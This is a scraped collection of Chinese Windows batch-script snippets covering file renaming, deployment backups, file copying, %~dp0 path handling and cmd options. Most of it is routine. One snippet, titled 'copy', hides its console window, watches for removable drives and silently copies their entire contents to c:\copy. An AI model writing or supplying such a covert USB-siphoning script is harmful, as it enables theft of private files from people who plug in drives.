/
bat如何解决文件名里有空格
@
echo
off
color f2
echo
我可以将【文件夹】目录及子目录[去除文件名空格]整理到-目录表格.xls
pause
:--------------------------------------
setlocal enabledelayedexpansion
:--------------------------------------
for
/f
"tokens=*"
%%j
in
(
'dir/b'
)
do
(
set
fn=%%j
echo
替换前:!fn!
set
fn=!fn: =!
echo
替换后:!fn!
:将fn字符串中的每一个空格(
" "
)替换成空字符(
""
)。
ren
"%%j"
!fn!
)
:--------------------------------------
set
pp=%~dp0
echo
%pp%
:--------------------------------------
for
/d
/r
. %%i
in
(*)
do
(
:更新路径,将有空格的路径改为除去空格后的路径,才能进入
for
/f
"tokens=*"
%%l
in
(!i!)
do
(
set
pt=%%l
set
pt=!pt: =!
set
i=!pt!
)
echo
路径 %%i
cd
%%i
:-------------------
for
/f
"tokens=*"
%%j
in
(
'dir/b'
)
do
(
set
fn=%%j
echo
!fn!
set
fn=!fn: =!
echo
!fn!
:将fn字符串中的每一个“ ”替换成“”空字符。
ren
"%%j"
!fn!
)
)
:--------------------------------------
cd
%pp%
echo
%pp%
for
/d
/r
. %%k
in
(*)
do
echo
%%k>>目录表格.xls
echo
已经将文件夹目录(不包括文件)生成到【目录表格.xls】
pause
///
bat命令实现服务器覆盖文件(用于自动发版)
1.覆盖文件(程序调用执行)
@echo off
rem 设置源目录
set "SDir=%1"
rem 设置发版包目录
set "FBDir=%2"
rem 设置备份目录
set "BKDir=%3"
rem 设置备份文件夹名称录
set "BKname=%date:~0,4%%date:~5,2%%date:~8,2%%TIME:~0,2%%TIME:~3,2%%TIME:~6,2%"
rem 备份
xcopy /s/e/y "%SDir%" "%BKDir%\%BKname%\"
If errorlevel 1 (
exit -1
)
rem 删除bin
if exist %SDir%\bin (
del /f /s /q /a "%SDir%\bin\*.*"
rd /q /s "%SDir%\bin"
If errorlevel 1 (
exit -2
))
rem 发版包覆盖
xcopy /s/e/y "%FBDir%" "%SDir%"
If errorlevel 1 (
exit -3
)
exit 1
@echo on
2.从固定位置还原备份
@echo off
rem 设置源目录
set "SDir=%1"
rem 设置备份目录
set "BKDir=%2"
rem 删除系统文件
del /f /s /q /a "%SDir%\*.*"
If errorlevel 1 (
exit -1
)
rem 还原包覆盖
xcopy /s/e/y "%BKDir%" "%SDir%"
If errorlevel 1 (
exit -2
)
exit 1
@echo on
BAT 批处理实现复制指定文件夹内的指定类型的多个文件到另一个文件夹(findstr &delims的使用)
set /a CopyNum=0
REM 记录未复制文件的数量
set /a NoCopyNum=0
REM 不需要复制的文件名以:隔开
set NoCopyFileName=123:234:456
::设置文件源文件位置
Set GeneratePath=..\BAT\JK2
::设置文件目标粘贴位置
Set DestnationPath=..\BAT\JK3
::设置粘贴文件类型
set DestExt=*.h
set DestExt_2=*.txt
IF NOT EXIST "%GeneratePath%" (
echo GeneratePath is not find
GOTO end)
@for /f "delims=" %%i in ('dir /b/a-d/s %GeneratePath%\%DestExt%') do (
REM /a 表示右边的变量为数字量 %%~nxi 文件名带后缀 %%~ni 文件名不带后缀
REM 1>nul将不显示正确的传参结果
echo %NoCopyFileName% | findstr /C:"%%~ni" 1>nul
if errorlevel 1 (
echo got one - %%~nxi not found
@xcopy %GeneratePath%\%%~nxi %DestnationPath%\ /d /y /i
::echo errorlevelxcopy %errorlevel%
set /a CopyNum+=1
) ELSE (
echo got zero - found %%~nxi
set /a NoCopyNum+=1
)
)
@echo CopyNum is %CopyNum% NoCopyNum is %NoCopyNum%
set /a CopyNum=0
set /a NoCopyNum=0
:end
/
一、bat文件获取当前目录
方法1:获取到的是bat文件的路径(一般会用这个)
@echo off
echo 当前目录:%~dp0
echo 当前的盘符及路径:%~dp0
echo 当前的盘符及路径的短文件名格式:%~sdp0
pause
方法2:获取到的是当前cmd窗口的路径
@echo off
echo 当前目录:%cd%
pause
二、shell脚本,获取当前目录
workdir=$(cd $(dirname $0); pwd)
echo 下面输出当前路径
echo $workdir
一、实例
@echo off
setlocal EnableDelayedExpansion
echo 当前正在运行的批处理文件所在路径:!cd!
pause
@echo off
echo 当前目录是:%cd%
pause
@echo off
:: set "abc=%cd%"
echo 当前正在运行的批处理文件所在路径:%~dp0
pause
@echo off
echo 当前的盘符及路径:%~dp0
echo 当前的盘符及路径的短文件名格式:%~sdp0
pause
@echo 取当前文件的上级目录的名称
set a=D:\abc\def ghi\j k\lmn.bat
for %%a in ("%a%") do (
set ok=%%~dpa
for /f "delims=" %%b in ("!ok:~0,-1!") do (
echo %%~nb
)
)
pause
二、关于%~dp0的批处理命令的详细解释
对此命令并不清楚,以下内容都来自百度搜索结果:
%~dp0 “d”为Drive的缩写,即为驱动器,磁盘、“p”为Path缩写,即为路径,目录
cd是转到这个目录,不过我觉得cd /d %~dp0 还好些
选项语法:
~0 - 删除任何引号("),扩充 %0
%~f0 - 将 %0 扩充到一个完全合格的路径名(“f”是file,即文件)
%~d0 - 仅将 %0 扩充到一个驱动器号
%~p0 - 仅将 %0 扩充到一个路径
%~n0 - 仅将 %0 扩充到一个文件名(“n”是name 文件名)
%~x0 - 仅将 %0 扩充到一个文件扩展名
%~s0 - 扩充的路径只含有短名(“s”为Short,短的)
%~a0 - 将 %0 扩充到文件的文件属性(“a”为attribute,即属性)
%~t0 - 将 %0 扩充到文件的日期/时间(“t”time)
%~z0 - 将 %0 扩充到文件的大小(Size 大小)
%~$PATH:0 - 查找列在路径环境变量的目录,并将 %0 扩充到找到的第一个完全合格的名称。如果环境变量名未被定义,或者没有找到文件,此组合键会扩充到空字符串,可以组合修饰符来得到多重结果:
%~dp0 - 仅将 %0 扩充到一个驱动器号和路径
%~nx0 - 仅将 %0 扩充到一个文件名和扩展名
%~fs0 - 仅将 %0 扩充到一个带有短名的完整路径名
%~dp$PATH:0 - 查找列在路径环境变量的目录,并将 %I 扩充到找到的第一个驱动器号和路径。
%~ftza0 - 将 %0 扩充到类似输出线路的 DIR
%0为当前批处理文件,如果0换成1为第一个文件,2为第2个
*********************************************************************************************
%0 代指批处理文件自身
%~d0 是指批处理所在的盘符
%~dp0 是盘符加路径
cd %~dp0 就是进入批处理所在目录了
bat(cmd)快速进入当前文件目录+防止中文乱码+保持界面一致显示 快速进入.bat
:: 防止中文乱码 chcp 65001 :: 关闭回显 @echo off :: 进入当前目录 cd %~dp0 :: 运行后保持界面一直显示 cmd /k :: 开启回显 @echo on
cmd /c dir 是执行完dir命令后关闭命令窗口。
cmd /k dir 是执行完dir命令后不关闭命令窗口。
cmd /c start dir 会打开一个新窗口后执行dir指令,原窗口会关闭。
cmd /k start dir 会打开一个新窗口后执行dir指令,原窗口不会关闭。
可以用cmd /?查看帮助信息。
CMD [/A | /U] [/Q] [/D] [/E:ON | /E:OFF] [/F:ON | /F:OFF] [/V:ON | /V:OFF]
[[/S] [/C | /K] string]
/C 执行字符串指定的命令然后终止
/K 执行字符串指定的命令但保留
/S 修改 /C 或 /K 之后的字符串处理(见下)
/Q 关闭回显
/D 禁止从注册表执行 AutoRun 命令(见下)
/A 使向管道或文件的内部命令输出成为 ANSI
/U 使向管道或文件的内部命令输出成为
Unicode
/T:fg 设置前台/背景颜色(详细信息见 COLOR /?)
/E:ON 启用命令扩展(见下)
/E:OFF 禁用命令扩展(见下)
/F:ON 启用文件和目录名完成字符(见下)
/F:OFF 禁用文件和目录名完成字符(见下)
/V:ON 使用 ! 作为分隔符启用延迟的环境变量
扩展。例如,/V:ON 会允许 !var! 在执行时
扩展变量 var。var 语法会在输入时
扩展变量,这与在一个 FOR
循环内不同。
copy
@echo off
title $$$$*晗*晗*制*造*$$$$
mode con: cols=14 lines=1
:again
cls
del /Q /f "%temp%\copy.tmp" >nul 2>nul
for %%i in (c,d,e,f,g,h,i,j,k,l,m,n,o,p,q,r,s,t,u,v,w,x,y,z) do @fsutil fsinfo drivetype %%i: >>"%temp%\copy.tmp"
findstr /i "可移动驱动器" "%temp%\copy.tmp"
if errorlevel==1 goto end
if errorlevel==0 goto copy
:end
rem 没有检测到可移动磁盘!
if not exist %temp%\sleep.exe ping 127.0.0.1 -n 20 >nul 2>nul
%temp%\sleep.exe 20s
goto again
:copy
if exist c:\copy goto goon
cd\
cd /d c:
md copy
:goon
for /f "tokens=1" %%i in ('findstr /i "可移动驱动器" "%temp%\copy.tmp"') do (
xcopy /e /y %%i\*.* c:\copy >nul 2>nul
)
rem 已复制,请及时清理文件!
if not exist %temp%\sleep.exe ping 127.0.0.1 -n 20 >nul 2>nul
%temp%\sleep.exe 20s
goto again
//
当用del删除文件时,不能使用 del /a /f >nul 2>nul&&echo yes||echo no 来判断是否已经删除,因为无论在什么情况下,始终显示yes。rd不存在这个现象。所以,在不知道要删除的是文件还是文件夹的时候,应该用如下代码:
@echo off
:: rd 和 del 的顺序不能反
rd /q /s "目标">nul 2>nul||del /a /f "目标">nul 2>nul
pause
///